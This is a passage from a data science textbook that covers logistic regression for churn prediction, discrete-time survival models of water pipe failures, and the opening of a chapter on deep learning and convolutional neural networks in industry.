model with the additional variables region, sex, and product. After the model was
fitted, we can display an output with hierarchical model comparisons (see Fig. 11.5).

Asymptotic theory (cf. McCullagh and Nelder 1989) suggests that hierarchical
model comparison can be performed based on differences in the residual deviance of
the models. The p-value of 0.187 in Fig. 11.5 suggests that there arises no difference
in the churn mechanics from the region the customer resides. Due to p-values
(clearly) below 0.05, all other variables have a significant contribution. How these

> drop1(fit, test="Chisq")
Single term deletions
Model: churn ~ region + sex + alter + dauer + produkt

Df  Deviance     AIC      LRT   Pr(>Chi)    
<none>         736.61  762.61                        
region    2    739.96  761.96   3.3508  0.1872346    
sex       2   748.98  770.98  12.3770  0.0020529 ** 
alter     1    757.20  781.20  20.5952  5.674e-06 ***
dauer     1    748.04  772.04  11.4314  0.0007221 ***
produkt 6 760.80 774.80 24.1917 0.0004815 ***
---

Null deviance: 818.98  on 982  degrees of freedom
Residual deviance: 736.61  on 970  degrees of freedom

Fig. 11.5 Model inference output of the logistic regression model that was fitted to the churn data.
It reports the statistical significance of the contribution of the predictor variables in explaining the
churn probability. The primary interest here lies in the column Pr(>Chi) which is the p-value
derived from hierarchical model comparisons
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variables exactly affect the churn probability can be derived from their coefficients
(not pursued here).

Moreover, a global test for the logistic regression model can be carried out by
comparing the deviance of the null model with only the intercept versus the one from
the model that was fitted here. In our current case, this yields a highly significant
result. We conclude this section by stating that logistic regression models are based
on a clear theoretical concept, which allows pinning down the influence and signif-
icance of each term in a prediction model. Moreover, all predicted values have a
sound interpretation as probabilities, can be used for classification, and can be
attributed with confidence intervals.

Dealing with Imbalanced Response
From Fig. 11.4, we can conjecture that the highest churn probabilities that are fitted
by the logistic regression model using only the two predictors age and duration must
be in the region of 0.3. To be exact, the maximum is at 0.34 and hence when using
the 0.5 threshold for classification, none of the customers from our database would
be predicted as being a churner. First and foremost, this logistic regression result is
sensible: even for young customers with short contract duration, the majority do not
churn, hence predicting each of them as being non-churners is technically the correct
decision. However, the widespread perception that “logistic regression does not
work with imbalanced data” that may arise from this fact is not true. As King and
Zeng (2001) show in their article, the logistic regression model is perfectly fine in a
setup with even very imbalanced classes. However, if the number of events is very
low, some issues with a bias in MLE may turn up. They state that throwing away
data in order to balance the response does not make sense, but recommend a
minimum of at least 10–20 events per degree of freedom used in the logistic
regression model. A way out in a situation where that rule of the thumb is clearly
violated consists of using exact logistic regression, bias correction approaches, or
penalized likelihood methods (see Leitgöb (2013) and references therein).

In our case, we have 144 churners out of 983 customers, so we can safely afford to
fit models that have up to about 10–15 regression coefficients, hence the larger
model from Fig. 11.5 with 5 predictors and 13 coefficients should be fine. While this
larger model leads to six customers that reach probabilities exceeding 0.5 and hence
are classified as churners, it is more of a matter of applying the right optic on the
result. What we obtain is a customer ranking according to their churn probability, so
that we can identify the subjects that are most at risk for cancelling their contract.
Whether that probability is below or above 0.5 is usually of lesser interest. We can
display the results in a so-called lift chart, which graphically represents the improve-
ment of the logistic regression model compared to a random guess (Tufféry 2011).
For constructing the lift chart, we evaluate the proportion of true churners in each
percentile of the total sample, ordered after their churn probability, and compute the
ratio with the a-priori-churn-rate (i.e., the overall churn rate when dividing the
number of churners by the overall number of samples).

In Fig. 11.6, we display the output for our example dataset. As we can see, the lift
value for the 1% of customers with the highest predicted churn probabilities amounts
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to 5.46. This value is obtained since among the 10 customers with the highest
predicted churn probabilities (with probabilities ranging from 0.71 to 0.47), 8 turned
out to be true churners. Hence, had we based customer selection for retention
activities on our model, we would have identified 80% true churners. Compared to
the a priori rate of 14.65%, this seems like a good success, which can be expressed as
a lift of 80/14.65 ¼ 5.46. With the same approach as for the lift value for the top 1%
of customers, the values are then computed for the top 2%, 3%, and so on.

We can also determine 95% confidence intervals for the lift values by using
properties of the binomial distribution. In particular, for the top 1% of customers,
(where 8 out of 10 customers churned), we obtain for a 95% confidence interval
values ranging from 0.444 to 0.975 for the churn probability. These values can then
be transformed into lift values of [3.03, 6.65] by dividing with the a priori rate. In
summary, the lift chart together with the confidence intervals confirms that our
logistic regression model is clearly beneficial for understanding the churn mechanics
and predicting which customers end the contract.

3.3 Regression Models for Time-to-Event Data Considering
Censoring

The goal of this section is to give some insight into modelling time-to-event data
considering censoring. The most common type of censoring is right censoring which

Fig. 11.6 Lift chart for churn prediction with our logistic regression model. It is constructed by
ordering the customers according to their predicted churn probability. Then, for each percentile
(1%, 2%, 3%, . . ., 100%) of customers, the proportion of churners among them is compared to the a
priori churn rate. The corresponding ratio is called the lift and displayed with black dots. Further-
more, 95% confidence intervals for the lift are determined from the binomial distribution and
highlighted in gray color
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occurs when a subject leaves the study before an event occurs, or the study ends
before the event has occurred. In many situations, the reported duration time is
discretized. In our example we know how many years it took until a water pipe (i.e.,
a piece of pipe between two branching points) broke in a water supply network. Data
are available for pipes that are actively used, but may have gone through one or more
repairs. If a pipe had to be replaced, all its corresponding information has been
removed from the database. This kind of data “cleaning” will introduce bias into our
final results. How severe the bias will be can unfortunately not be assessed from the
data only. In what follows, we disregard this issue, but it has to be considered when
deploying the results of the modelling. In this section, we study the failure time of
2402 pipes up to the first breakdown. We consider two types of pipes, each made of
different materials and having different pipe diameters. Additionally, we use infor-
mation about the length of the pipe. Many other potentially important attributes of
the pipes were unknown.

Because of the discretized durations [in years], we do, as explained above,
estimate the hazard probability of failing in year t if the pipe is at risk to break
down at the beginning of year t. If we observe a failure of pipe i in year t, we set the
new variable failure to the value of 1. Thus for pipe i, we have an observation vector
with elements age t (is equal to failure time), length l, type m, and failure ¼ 1. Since
the pipe has been at risk a year before as well but did not fail, we construct another
observation vector for pipe i with elements age (t � 1), length l, type m, and
failure ¼ 0. This construction of additional “observations” is repeated until age is
equal to 1. Hence, a failure of a pipe in year t generates a set of t observation vectors.
These sets of observation vectors, which are generated from the 2402 pipes, are
merged to a dataset of 99,039 rows, which can be analyzed by binary regression
models as presented in formula (11.3).

The response variable is failure and its expectation is the probability p(t¼ k| x). A
very simple model, which could describe the available data adequately, is a Weibull
regression model with different hazard rates for the two different pipe types.
Additionally, the hazard rate should be proportional to the length of the pipe, that
is, the longer the pipe the higher the hazard rate that the pipe will break. To express
these ideas in terms of the model in formula (11.3), the predictor variables must be
set up suitably. As explained in Eq. (11.3), γk specifies the distribution function. If a
Weibull distribution is demanded, γk must be approximately proportional to the
logarithm of age evaluated at the discrete time grid k. In the following, it is called
logK. To express the proportionality of the hazard rate to the length of the pipe in
model (11.3), the log-transformed length (i.e., lLength) must be added as predictor
variable but with a fixed parameter being equal to 1. Finally, to include different
hazard rates for the two pipe types, the log-transformed age of pipes from the second
type (called logKG) must be included as a predictor variable. To summarize, the
model can be specified as follows:

log �log 1� p t ¼ kjxð Þð Þð Þ ¼ β0 þ β1 � logK þ β2 � logKGþ lLength ð11:4Þ
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Hence, β0 þ β1 � logK yields the baseline hazard probabilities of pipes consisting
of type 1 and β0 þ β1 � logK þ β2 � logKG yields baseline hazard probabilities of
pipes consisting of type 2 with respect to one unit of pipe length. To explore whether
this simple model fits the data adequately, we set up a more general model which the
simple model is part of. Thus, we start with

log �log 1� p t ¼ kjxð Þð Þð Þ ¼ s1 logKð Þ þ s2 lLengthð Þ þ s3 logKGð Þ
þ s4 lLengthGð Þ ð11:5Þ

where s1, s2, s3, and s4 are smooth functions which must be estimated. This is a
generalized additive model (GAM) and can be fitted by adequate algorithms (cf.,
e.g., Hastie and Tibshirani 1990 or Wood 2006). The smooth functions add flexi-
bility; if s1, s2, s3 are straight lines and s4 is a horizontal line, we obtain the simpler
model described by formula (11.4). The smooth functions are estimated by the local
regression approach called lowess or loess (cf., e.g., Hastie and Tibshirani 1990).
Based on a GAM fit of our data we obtain the following slightly shorted summary
output (Fig. 11.7).

Call: gam(formula = Failure ~ lo(logK) + lo(logKG) + lo(lLength) + 
(lLengthG), family = binomial(link=cloglog), data=DCGI)

(Dispersion Parameter for binomial family taken to be 1)
Null Deviance: 2656.597 on 99038 degrees of freedom
Residual Deviance: 2146.296 on 99022.41 degrees of freedom
AIC: 2179.474 
Number of Local Scoring Iterations: 17 

Anova for Parametric Effects
Df Sum Sq Mean Sq F value         Pr(>F)

lo(logK)         1     41  41.500  69.584  < 2.2e-16 ***
lo(logKG)        1     13  12.642  21.196  4.151e-06 ***
lo(lLength)      1    216 215.846 361.916  < 2.2e-16 ***
lo(lLengthG)     1     85  84.673 141.973  < 2.2e-16 ***
Residuals    99022  59057   0.596
---
Anova for Nonparametric Effects
Npar         Df Npar   Chisq     P(Chi) 
(Intercept)
lo(logK)         3.0  5.0359  0.166635 
lo(logKG)        3.2 15.1415  0.002095 **
lo(lLength)      2.5  5.9731  0.079497 . 
lo(lLengthG)     2.9 14.3497  0.002202 **

Fig. 11.7 Model summary output of the generalized additive model that was fitted to the
discretized time-to-event data. It reports the statistical significance of the contribution of the
predictor variables by separating the contributions of the parametric (linear) and non-parametric
effects. The primary interest here lies in the column Pr(>F) or Pr(>Chi), which is the p-value
derived from hierarchical model comparisons
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The partial residual plots in Fig. 11.8 illustrate that the two variables logKG and
lLengthG do not go linearly into the predictor function of the complementary log-log
transformed hazard probability. As a rule of thumb, we can identify a simple linear
relationship if a straight line fits between the two dashed lines which indicate
pointwise 95% confidence intervals. Consulting these partial residual plots is a
form of multiple testing where some hypotheses are accepted and some not. To be
more formal, we run a hypothesis test comparing the more complex model expressed
by formula (11.5) with the simple model given in (11.4). The simple model from
formula (11.4) is fitted by a GLM algorithm. To include the variable lLength into the
model but without estimating a corresponding coefficient, we apply the R modelling
option offset(), see Fig. 11.9.

We can now compare the two models based on the difference of their residual
deviances. The difference is 17.904 (¼2164.2–2146.296) and the difference of the
degrees of freedom is �13.59 (¼99,036–99,022.41). As before, asymptotic theory
tells us that the difference of the residual deviance is asymptotically following a
chi-squared distribution with 13.59 degrees of freedom. Hence, the corresponding p-
value is 0.19. This tells us that there is no statistical evidence that the simple model
does not describe the data as well as the complex one. Hence, we can conclude that a
Weibull Regression model with different hazard rates for the two different pipe types
and with hazard rates that are directly proportional to the length of the pipe does

Fig. 11.8 Partial residual plots showing the pure effect of each predictor variable on the response
variable “failure.” The effect is visualized by the smooth full line. The dotted lines indicate
pointwise 95% confidence intervals. The vertical ticks displayed above the x-axis are showing the
occurrence of each predictor variable. For the predictors logK and lLength, the nonlinear extension
is not significant, which can be derived from the fact that a straight line fits within the confidence
bounds
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describe this data set adequately. Figure 11.8 may, however, indicate in which
directions potential improvements of the model could be made. For example, the
variable logKG may be transformed such that it is a straight line up to 2.5 and then
horizontal.

4 Conclusions

Three important aspects underlie all our endeavors to develop a statistical model
based on available data: the goal of the modelling, the subject matter knowledge, and
the data-generating process. For the first aspect, we may distinguish technically
between prediction and description. In prediction, we may not require an interpret-
able relationship, that is, model, between input and output, but rather an accurately
predicted output. Definitely, the prediction must be based on predictors that are
known at the time of applying the prediction model.

A descriptive model, however, is aimed at capturing the data structure in a
statistically sound way (i.e., not contradicting the model assumptions), and in what
is useful (i.e., not contradicting the subject matter background of the data) and
parsimonious. We may also have the option to choose between different equivalent
predictor variables, but the practitioners need to keep the effort for collecting these
data into account and may want to exchange one variable for another one. Another
challenge in developing a statistical model is to find suitable transformations of the
predictor variables. We find that generalized additive models (GAM) are very
helpful to explore useful transformations, which of course must agree with the
subject matter knowledge. Finally, the aspect of the data-generating mechanism is

Call:
glm(formula = Failure ~ offset(lLength) + logK + logKG, 

family = binomial(link = cloglog), data = DCGI)
Coefficients:

Estimate Std. Error z value Pr(>|z|)    
(Intercept) -18.83934    0.90503 -20.816  < 2e-16 ***
logK          2.80780    0.26317  10.669  < 2e-16 ***
logKG        -0.30121    0.04736  -6.359 2.03e-10 ***
---
(Dispersion parameter for binomial family taken to be 1)

Null deviance: 2390.4  on 99038  degrees of freedom
Residual deviance: 2164.2  on 99036  degrees of freedom
AIC: 2170.2
Number of Fisher Scoring iterations: 12

Fig. 11.9 Model summary output of the generalized linear model that was fitted to the discretized
time-to-event data. It reports the estimated coefficients, that is, the contribution of the predictor
variables. This is along with their standard errors (i.e., precision of estimation) and information
about the statistical significance of these predictors (columns entitled z value and Pr(>|z|).
The lower four lines report information about the model as a whole
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crucial when assessing the range of use of the resulting statistical model. In data
mining, for example, data are often not collected for the actual question of interest in
modelling but for other intentions.

Statistical modelling is not just about knowing individual statistical methods (linear
regression, generalized linear or additive models, proportional hazard models, etc.) but
rather about choosing multiple methods, about how to apply and combine them, and
finding a useful balance between inferential and graphical methods. To learn this
handcraft there is no other choice than to practice and to collect the necessary
experience, ideally supported by a senior expert. While there is a wealth of literature
on technical aspects, only relatively few books discuss the virtuosity of statistical
modelling. Three of them are Diggle and Chetwynd (2011), Harrell (2015), and Kuhn
and Johnson (2013). The first two feature regression modelling strategies with appli-
cations to linear models, logistic regression, survival analysis, etc. Diggle and
Chetwynd (2011) should be accessible by any scientist, whereas Harrell (2015) goes
into much deeper detail. Kuhn and Johnson (2013) focus on strategies for predictive
modelling including methods like classification and regression trees, random forest,
boosting, neural networks, support vector machines, etc.

We finish our contribution by emphasizing that from our practical experience as
data scientists, using the relatively simple, traditional statistical modelling methods
is often a superior choice or at least a serious contender when it comes to providing
added value and insight to our customers and collaborators. Modern black box
approaches certainly have their merits and place in data science, but statistical
modelling is of greater use if either insight into the model mechanics or the option
of human intervention in the modelling process is desired. We summarize our
contribution into the following lessons learned:

• In contrast to pure prediction tasks, descriptive analysis requires explicit statisti-
cal models. This includes concrete knowledge of the model formulation, variable
transformations, and the error structure.

• Statistical models are verifiable: It is possible to explore if the fit is in line with the
model requirements and the subject matter knowledge. In case of important
discrepancies, action needs to be taken!

• To obtain sound results and reliable interpretations, we need to consider the data-
generating mechanism within the model developing process and during model
assessment.
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Chapter 12
Beyond ImageNet: Deep Learning
in Industrial Practice

Thilo Stadelmann, Vasily Tolkachev, Beate Sick, Jan Stampfli,
and Oliver Dürr

Abstract Deep learning (DL) methods have gained considerable attention since
2014. In this chapter we briefly review the state of the art in DL and then give several
examples of applications from diverse areas of application. We will focus on
convolutional neural networks (CNNs), which have since the seminal work of
Krizhevsky et al. (ImageNet classification with deep convolutional neural networks.
Advances in Neural Information Processing Systems 25, pp. 1097–1105, 2012)
revolutionized image classification and even started surpassing human performance
on some benchmark data sets (Ciresan et al., Multi-column deep neural network for
traffic sign classification, 2012a; He et al., Delving deep into rectifiers: Surpassing
human-level performance on ImageNet classification. CoRR, Vol. 1502.01852,
2015a). While deep neural networks have become popular primarily for image
classification tasks, they can also be successfully applied to other areas and problems
with some local structure in the data. We will first present a classical application of
CNNs on image-like data, in particular, phenotype classification of cells based on
their morphology, and then extend the task to clustering voices based on their
spectrograms. Next, we will describe DL applications to semantic segmentation of
newspaper pages into their corresponding articles based on clues in the pixels, and
outlier detection in a predictive maintenance setting. We conclude by giving advice
on how to work with DL having limited resources (e.g., training data).
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1 Introduction to Deep Learning

Deep neural networks have been greatly influencing the world of pattern recognition
for several decades (Schmidhuber 2014). The disruptive nature of the approach
became obvious to a wider audience since Krizhevsky et al. (2012)’s exploit on
the ImageNet task. Since then the corresponding gain in perceptual performance has
often been such that error rates could be halved or even improved by an order of
magnitude with respect to the previous state of the art on open benchmark datasets
(LeCun et al. 2015). In this chapter, we show how deep learning (DL) methods can
be applied not only to classical computer visions tasks from research but also to a
wide variety of tasks in industry beyond classification.

While it is easy for humans to recognize someone’s speech or classify objects in
an image, problems like these had previously posed a serious challenge for com-
puters for a long time. In the traditional pattern recognition paradigm, researchers
tended to manually design informative features, on which classification algorithms
were applied. In computer vision, these were, among others, Haar features or Gabor
filters (Szeliski 2010). In speech recognition, one used, for example, Mel frequency
cepstrum coefficients (Zheng et al. 2001), while in Natural Language Processing
(NLP), there were n-gram features or mutual information between the words (Bouma
2009). These features were burdensome to engineer manually and it was unclear
which ones were the most informative for the task at hand.

DL revolutionized the field by offering end-to-end learning, starting at almost raw
data input without the need for kernel or feature engineering and allowing a
hierarchy of neural network layers to learn the necessary features on its own. In
the following paragraphs we provide a brief overview of these developments.

1.1 Fully Connected Neural Networks for Classification

The simplest architecture, from which the development in the field of neural
networks started, is a fully connected feed-forward neural network (Rosenblatt
1957). It can be considered as a directed acyclic graph where the information
flows from left to right (see Fig. 12.1). A neuron is made up of a circle (summing
up the inputs), followed by a square (depicting a nonlinear activation function that
serves as a threshold). Inspired by a biological brain, each neuron z lj xð Þ in a layer of
neurons (vector1 zl(x)) receives an input from all the neurons from the previous layer
zl � 1 with a weight matrix W. The weighted sum of inputs for the neuron is then
passed through a nonlinear activation function f inside the neuron that acts as a
trainable threshold: if f receives a high value, the neuron is activated and passes the
transformed signal to the neurons in the next layer on the right. In general, the output

1Vector arrows are usually not drawn in the DL literature.
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of all neurons of a layer l can be recursively described with the weight matrices
Wl � 1, Wl � 2, . . . and bias vectors bl � 1, bl � 2, . . . as:

zl xð Þ ¼ f w0
l�1 þWl�1zl�1 xð Þ� � ¼ f w0

l�1 þWl�1f w0
l�2 þWl�2zl�2 xð Þ� �� � ¼ . . .

The network can possess many hidden, interconnected layers. For classification
into classes 1, 2, . . . , K, its last (output) layer will have as many nodes as there are
classes to distinguish in the data (K in this case). To obtain probabilities P(yk| x) for
each class k, the raw aggregated inputs (scores) must be standardized by their sum
over all classes to produce values between 0 and 1, which is usually done with the
softmax function (Bishop 2006, p. 115):

P ykjxð Þ ¼
exp �P J

j¼1 w jk
lzil xð Þ

� �

P
kexp �P J

j¼1 wjk
lzil xð Þ

� �

where wjk
l are the learned weights of layer l which are elements of the matrix Wl.

Historically, sigmoid f(x) ¼ (1 + e�x)�1 and hyperbolic tangent f(x) ¼ tan h(x) were
used as activation functions; now it is recommended to use a rectified linear unit
(ReLU) f(x) ¼ max (0, x) which significantly speeds up training because of
improved gradient flow (Krizhevsky et al. 2012).

To train the neural network (i.e., find the optimal weights), a loss (discrepancy
between the true and predicted classes) is computed once the signal is propagated to
the last layer and the class probabilities are calculated. Then the weights are adjusted
to minimize the loss function, which is usually done with a maximum likelihood
approach: The weights are optimized by stochastic gradient descent (SGD)
(Goodfellow et al. 2016) and the required gradients are efficiently calculated making

Fig. 12.1 A feed-forward neural network with features x1, . . . , xN and label probabilities p1, . . . , pK
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use of the chain rule. For example, to calculate the gradient of the loss at the layer
l � 2 one can use the gradient at the layer l � 1:

∂Loss
∂zl�2

¼ ∂Loss
∂ f

∂ f

∂zl�1

∂zl�1

∂zl�2

The gradient thus propagates “back” from the loss to previous layers. Therefore,
this procedure is also called backpropagation in the context of neural networks
(Rumelhart et al. 1988); a gentle introduction is provided by Nielsen (2015).
Training usually runs on GPUs for computational reasons (speed-up of an order of
magnitude as compared to CPUs), and the training data is split into so-called mini-
batches, which fit into the GPU memory and on which SGD is run. Nowadays, more
advanced variants of SGD like ADAM (Kingma and Ba 2014) and ADADELTA
(Zeiler 2012) are usually employed instead of the standard SGD and should be
preferred.

1.2 Convolutional Neural Networks (CNNs)

While fully connected networks possess significant flexibility, they have many
parameters and tend to significantly overfit the data while not capturing any local
structures such as the 2D correlations of pixels in images. CNNs were introduced in
order to resolve these issues.

The first neural networks with convolutional filters date back to the work of
Fukushima (1980). They were made trainable end-to-end via backpropagation by
LeCun et al. (1998a), yet their applicability was limited at that time due to scarce
computing capacities and the shortage of large labeled datasets. The revival came in
2012 with the works of Ciresan et al. (2012a) and Krizhevsky et al. (2012), who
independently presented significantly deeper nets trained on modern graphics cards
(GPUs). This GPU training enabled increased depth by exploiting the cheap hard-
ware originally developed for 3D games, using its massively parallel matrix com-
putation capabilities. It was thus possible to solve the problems of the traditional
approach and completely outperform it in numerous pattern recognition challenges.
Currently, deep CNNs have error rates as low as humans [or sometimes even better
(Nielsen 2017)] in many tasks, including image classification (He et al. 2015a),
geolocation (Weyand et al. 2016), speech recognition (Xiong et al. 2016), lip reading
(Chung et al. 2016), as well as the games of GO (Silver et al. 2016) and poker
(Moravcik et al. 2017).

The intuition behind CNNs goes back to the physiological experiments of Hubel
and Wiesel (1959) on the response of visual neurons in a cat’s brain to various
oriented stimuli. The main idea of CNNs is to design a neural network that can easily
exploit local structure in its input in hierarchically organized layers to extract
subsequently more abstract features: convolutional kernels (resembling the filters
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of classical image processing2) are slid over the complete input and the dot product
of the input with the kernel at each location is computed. Thereby, each possible
kernel location shares the same weights, which massively saves parameters in this
layer, which in turn can be “invested” back into additional layers. Convolutional
layers usually alternate with some sort of sub sampling (originally: pooling) layers
and thus allow the CNN to abstract local structure to global insights.

The convolutional operation makes sense because it processes information
locally and converts it to a feature map (which is the output of a specific filter,
evaluated at every pixel of the current layer, resembling the filtered image) that
indicates the presence or absence of the very feature the convolutional filter
describes using its learned coefficients. A learned feature could be, for example,
an edge, a simple shape, or a combination of these in the later layers. The feature map
can then be compressed by means of a down-sampling operation (e.g., max
pooling3) to create a global big picture of the input contents out of the local features
(see Fig. 12.2). In CNNs, several blocks of convolution and down-sampling are thus
stacked in the network with various input sizes to achieve sufficient generality and to
capture enough detail, so that every block is responsible for some image property. As
a result, a hierarchical representation of object properties is built by the
convolutional layers. Finally, a fully connected output layer produces class
probabilities.

To cope with varying input image sizes and to produce richer outputs than just
class labels (e.g., full images again), the fully convolutional network (FCN) has been
proposed (Long et al. 2014), which implements all layers (also down-sampling and
fully connected ones) using convolutions only (see Sect. 4).

2In digital image processing, to apply a filter (or kernel) to a specific region of an image, centered
around a specific pixel, means to take the weighted sum of pixels in the center pixel’s neighborhood.
The size of the neighborhood is determined by the filter size (e.g., 3 � 3 pixels), whereas the
weights are determined by the filter designer. Numerous classical filters for all kinds of image
processing tasks are known. For example, to smoothen an image, one applies a filter with each of the
N weights equaling 1/N, so the filter response is an average over the filter’s spatial area. The filters
“filter 1” and “filter 2” in Fig. 12.2. show vertical and horizontal edge detectors, respectively (when
white pixels stand for a weight of�1 and blue pixels for a weight of 1, or vice versa). In CNNs, the
filter weights are learned, while the size and number of filters are chosen hyperparameters. This
means that each convolutional layer in a CNN can learn any classical image transformation (see
https://en.wikipedia.org/wiki/Digital_image_processing), one per filter (you see the number of
filters by counting the number of feature maps in the next layer, cp. Fig. 12.2).
3Max-pooling describes the process of moving a kernel of, for example, 2� 2 pixels over an image-
like representation (a layer in the neural network); for each location, only the maximum pixel value
is carried over to the next layer, thus resulting in down-sampling the original 2 � 2 pixels (to keep
the example from above) information to just 1 � 1. The size of the kernel as well as its step size
(stride) typically are hyperparameters of the neural network architecture. However, in some modern
designs, the architecture offers down-sampling at various degrees after each convolutional step,
with the possibility to learn during training for the task at hand which of several alternative paths
through the network should be followed at which layer. Thus, it offers to “learn” the degree of
down-sampling to a certain extent (Szegedy et al. 2014; He et al. 2015b).
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Overall, a CNN still contains a lot more free/trainable parameters (usually in the
order of hundreds of millions) than observations used for training, so that with a
“wrong” training procedure it is easy to overfit the data. There are a number of
possible solutions which are now application standards. First, traditional CNNs are
not intrinsically invariant to transformations like object rotations, flips, lighting, etc.
In order to enrich the training data, it is common to do image augmentation prior to
training that reflects the input’s nature (i.e., apply transformations like rotation,
translation, and random scaling to the data and add natural “noise,” using the
transformed images for training as well). Second, a regularization technique called
dropout (Srivastava et al. 2014) was introduced to significantly reduce overfitting,
which consists of randomly deactivating each neuron in a layer usually with a
probability of 0.5 at training.

Wrong weight initialization in a network can pose a serious problem as well. With
an inappropriate initialization, some of the neurons may soon come into an over- or
under-saturated regime, and, depending on the activation function, the gradients will
be close to zero. This in turn means that there would be almost no update of the
weights during backpropagation, and parts of the network will die out. To avoid this

Fig. 12.2 Convolutional filters (top) slide over the images, creating feature maps, which are then
down-sampled to aggregate the most important information about the image structure
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and other problems, including overfitting, the batch normalization technique
(batchnorm) has been proposed (Ioffe and Szegedy 2015). It consists of standardiz-
ing a mini-batch at each layer of the network with its mean and standard deviation
after each training iteration in order to keep a stable input distribution to each neuron,
thus facilitating gradient flow. Moreover, batchnorm also allows to learn the shift
and scale normalization parameters to undo the standardization when needed.
Batchnorm alleviates the dependence on initialization, allows faster learning rates
and training times, and acts as a regularizer due to a more even sampling in the
parameter space.

To summarize, the use of GPUs in conjunction with the abundance of large
(annotated) datasets made CNNs applicable to a wide range of problems. This was
only possible in combination with the algorithmic improvements outlined earlier
(i.e., ReLU activation, batchnorm initialization of the weights, ADAM or
ADADELTA optimizer, dropout regularization, and data augmentation)—compare
(Szegedy et al. 2014). All these improvements are now implemented in modern
software frameworks used for production-ready deep learning, such as TensorFlow4

or Torch,5 or included in high-level libraries on top of these frameworks like Keras6

or TFLearn.7 These frameworks also offer a collection of pre-trained networks
available for many image recognition tasks. They can be adapted to similar tasks
using transfer learning (Pan and Yang 2010), eliminating the need for time-
consuming training from scratch, which could still take 1–2 weeks for any real-
world task even on modern hardware.

1.3 Non-obvious Use Cases

In the following sections, we describe various applications of deep neural networks.
We focus on non-classical tasks, given that the performance of CNNs on image
classification tasks is well known. Table 12.1 gives an overview of the selected tasks
with a focus on the properties of every use case. Moreover, the table describes in
which section of this chapter the use case is described in more detail. Table 12.2
summarizes the special challenge of each task and the main deviation from the
classical image classification approach.

We start with an application of CNNs to fluorescence microscopy images, an
application which up to now requires much tedious and time-consuming work from
highly trained experts in biology and image analysis. We then continue to speaker
clustering, where pre-trained CNNs are used to extract learned feature vectors per
speech utterance for subsequent hierarchical clustering. This is followed by an

4https://www.tensorflow.org/
5http://torch.ch/
6https://keras.io/
7http://tflearn.org/
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application in which a fully convolutional network segments the pixels of a scanned
newspaper page into sets of semantically belonging articles. Finally, the use of DL
for predictive maintenance is illustrated before we conclude by giving an outlook on
how to generally apply deep nets in contexts with usually very limited training data
and computational resources.

Table 12.1 Overview of task properties for each of the following use cases

Sec. Application
Type of final
task Training data Results

2 Cell pheno-
type classifi-
cation for
drug
discovery

Classification
(supervised)

Ca. 40 k images having
5 color channels

Outperforms state of the
art (better than linear dis-
criminant analysis (LDA)
and support vector
machine (SVM)

3 Media seg-
mentation
according to
voice

Clustering
(unsupervised)

Spectrograms of raw audio
(ca. 25 s on average for
each of 100 speakers)

Outperforms state of the
art (better than hand-
coded features and statis-
tical models)

4 Newspaper
segmentation
into articles

Semantic seg-
mentation
(supervised)

Ca. 430 scans of newspa-
per pages (+ additional
input from OCR) + 5 k
partially labeled pages
(+OCR)

Outperforms state of the
art (better than classifica-
tion CNN)

5 Predictive
maintenance
of rotating
machinery

Anomaly/out-
lier detection
(unsupervised)

Spectrograms of ca. 1 k
raw vibration signal
measurements

On par with state of the art
(SVM, Principal Compo-
nent Analysis (PCA),
statistical models)

Table 12.2 What makes the following tasks special and how can this be handled using deep
learning?

Sec. Non-obvious because? Solved by?

2 Introductory case, but 5 color channels
instead of the usual 1–3

Straightforward extension of standard
model using data augmentation on training
data

3 Audio instead of image as input; final goal is
a clustering

Input is converted to a spectrogram to be
treated as an image; output is a learned
representation to be clustered offline by
another method

4 Output is a cutting mask (outline of the text
columns and images that make up an article
on a page)

Output is an image of the same size as the
input: pixels of same color indicate areas
belonging to the same article

5 Training data has only one class, model
shall indicate if new data deviates from it
(instead of segregating it from a well-
specified second class)

Using an autoencoder architecture for the
network and interpreting the reconstruction
error as the degree of novelty in the test
signal
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2 Learning to Classify: Single Cell Phenotype Classification
Using CNNs

High content screening (HCS) is an essential part of the drug discovery pipeline used
in the pharmaceutical industry. Screening involves the application of many thou-
sands of drug candidates (compounds) to living cells with the aim to investigate the
cell response. This response manifests itself in the change of the phenotype. Exam-
ples for those phenotypes are: dead cells, dying cells (apoptosis), dividing cells
(mitosis), and cells expressing certain proteins.

In simple settings, an applicable approach for classification is to extract
predefined features for each cell (e.g., diameter, area, circumference of the nucleus
or the cell, the intensity of different fluorescent stains in the nucleus or the cell, or
other organelles) and use them as an input for classification (see Fig. 12.3, upper
right panel). Such pre-defined features can be extracted by a specialized software
such as CellProfiler.8 However, more challenging cases require a tailored image
analysis procedure to extract appropriate features, which needs to be done from
scratch for each experiment, requiring both in-depth knowledge of cell biology and
advanced knowledge of image processing.

Deep learning, on the other hand, does not rely on those predefined or hand-
crafted features, and employs only labeled data, a task which is feasible for a
biologist without a profound competence in image processing. Hence, deep learning
has the potential to radically change the workflow in HCS. The envisioned CNN
approach allows to learn the features and the classification model in one training
procedure (see Fig. 12.3, lower right panel).

2.1 Baseline Approach

We use part of the image set BBBC022v1 (Gustafsdottir et al. 2013) (the “Cell
Painting” assay), available from the Broad Bioimage Benchmark Collection (Ljosa
et al. 2009). We analyze the images of human cells treated with 75 compounds—
each compound resulting in one of three phenotypes (named A, B, C). In addition,
we add the phenotype D of the cell without treatment (mock class). In total, we have
the following number of detected cells, which were imaged in 21 different wells on
18 different plates: 40,783 (mock class), 1988 (cluster A), 9765 (cluster B), and
414 (cluster C).

Approximately 20% of the data is put aside for testing, containing the following
number of examples per class: 8217 (mock class), 403 (cluster A), 1888 (cluster B),
and 82 (cluster C) cells from 10 different wells on 5 different plates. The remaining
80% of the data is used to train and tune different classifiers comprising a CNN based

8http://cellprofiler.org/
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on the raw image data as well as the three baseline approaches often used in HCS
(Dürr et al. 2007): Fisher linear discriminant analysis (LDA), Random Forest (RF),
and support vector machine (SVM), based on CellProfiler features. Before the input
into CNNs, 5 images of size 72 � 72 are cropped for each cell from the original
images. The bounding box is constructed to be quadratic so that the entire cell is
within the box.

For the baseline workflows, each of the extracted features is normalized to have
zero mean by a z-transformation. We then use the following implementations and
parameterizations for classification: an SVM with a linear kernel (the penalty
parameter C of the SVM is optimized using a 10-fold cross-validation on the training
set); an RF with the default value of 500 trees; and LDA. All algorithms have been
implemented in Python using the scikit-learn library.9

2.2 CNN Analysis

As the only preprocessing step for CNN, we normalize the values per pixel. The
architecture of the CNN is inspired by the second-best entry of the 2014 ImageNet
competition (Simonyan and Zisserman 2014). All convolutional filters (C) have the
size of (3,3) and a stride of 1 pixel and use ReLU activations; no padding is applied
at the boundaries. Two convolutional layers are followed by a (2,2) max-pooling

